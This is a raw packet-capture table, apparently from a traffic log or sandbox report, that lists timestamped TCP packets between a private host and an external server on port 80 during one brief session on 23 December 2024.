Dec 23, 2024 08:53:13.008826971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.009068012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.009108067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.012489080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.012600899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.012648106 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.016016960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.016128063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.016175032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.019763947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.019774914 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.019830942 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.104228973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.104794025 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.104885101 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.105843067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.105855942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.105916977 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.108798027 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.108812094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.108851910 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.111902952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.111916065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.111963987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.114970922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.114984035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.115031004 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.118072033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.118084908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.118134022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.120814085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.120826960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.120877981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.123620987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.124555111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.124602079 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.126447916 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.126461983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.126509905 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.129160881 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.129173040 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.129216909 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.131864071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.131876945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.131927013 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.134593010 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.134603977 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.134651899 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.137128115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.137160063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.137216091 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.139744043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.139756918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.139811039 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.142280102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.142292976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.142369032 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.144778013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.144788980 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.144855022 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.147319078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.147358894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.147403955 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.149770021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.149781942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.149826050 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.152280092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.152292013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.152368069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.154699087 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.154711008 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.154767990 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.157222986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.157234907 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.157289982 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.159689903 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.159701109 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.159758091 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.162159920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.162827015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.162875891 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.164648056 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.164659977 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.164700985 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.167088032 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.167351007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.167397976 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.169604063 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.169616938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.169688940 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.172108889 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.172125101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.172168016 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.174585104 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.174597025 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.174633980 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.177031994 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.177046061 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.177107096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.179514885 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.179527044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.179575920 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.182050943 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.182064056 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.182115078 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.184473991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.184487104 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.184530020 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.186956882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.186969042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.187012911 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.189410925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.189524889 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.189568043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.191873074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.192075968 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.192130089 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.194334030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.194714069 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.194758892 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.196953058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.196965933 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.197014093 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.199368000 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.199379921 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.199491978 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.201980114 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.201992989 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.202039957 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.204365015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.204376936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.204428911 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.206839085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.206851006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.206893921 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.209270954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.209283113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.209326029 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.211786032 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.211801052 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.211842060 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.214277983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.214291096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.214344025 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.216706038 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.216720104 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.216753960 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.219263077 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.219274998 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.219321966 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.221713066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.221817970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.221858025 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.224037886 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.224225044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.224265099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.226568937 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.226763964 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.226830006 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.229043007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.229454994 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.229512930 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.231625080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.231637955 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.231678009 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.234004021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.234016895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.234061956 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.296355009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.296492100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.296539068 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.297250986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.297627926 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.297674894 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.297765970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.299601078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.299640894 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.299644947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.301523924 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.301580906 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.301719904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.303481102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.303525925 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.303617001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.305289030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.305340052 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.305376053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.307245016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.307265997 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.307286024 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.309048891 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.309092045 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.309098959 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.310759068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.310792923 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.310900927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.312668085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.312726021 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.313049078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.314308882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.314347982 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.314392090 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.316095114 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.316148043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.316220999 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.317949057 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.317967892 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.317986965 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.319441080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.319474936 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.319533110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.321141958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.321177959 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.321496964 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.322932005 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.322956085 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.322972059 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.324472904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.324512959 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.324625015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.326159954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.326203108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.326205969 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.327758074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.327801943 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.327924013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.329519987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.329531908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.329554081 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.330988884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.331073046 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.331140041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.332726955 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.332739115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.332761049 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.334283113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.334294081 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.334317923 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.335819960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.335832119 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.335856915 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.337420940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.337433100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.337459087 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.338995934 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.339008093 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.339036942 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.340518951 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.340531111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.340564013 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.341972113 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.342010021 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.342556000 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.343516111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.343553066 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.343626022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.345009089 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.345041037 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.345097065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.346579075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.346590996 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.346616030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.348731995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.348783970 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.348824024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.349487066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.349523067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.349575043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.351102114 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.351113081 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.351138115 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.352535009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.352546930 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.352572918 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.354058981 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.354070902 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.354099035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.355506897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.355520010 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.355551958 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.356271982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.356308937 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.356364012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.357264996 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.357304096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.357340097 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.358040094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.358078003 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.358150005 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.358963966 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.359009981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.359298944 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.359883070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.359919071 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.360049963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.360709906 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.360745907 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.360863924 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.361723900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.361735106 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.361763954 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.362586975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.362622023 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.362651110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.363401890 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.363437891 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.363718987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.364293098 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.364334106 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.364794970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.365302086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.365314007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.365343094 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.366069078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.366102934 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.366231918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.367012024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.367047071 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.367189884 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.367877007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.367913008 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.368031979 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.368813992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.368858099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.368987083 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.369740963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.369751930 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.369797945 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.488997936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.489310980 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.489324093 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.489363909 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.489527941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.489576101 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.490278959 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.490292072 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.490334034 CET	49777	80	192.168.2.9	185.215.113.16
Dec 23, 2024 08:53:13.491121054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.491372108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 23, 2024 08:53:13.491415024 CET	49777	80	192.168.2.9	185.215.113.16
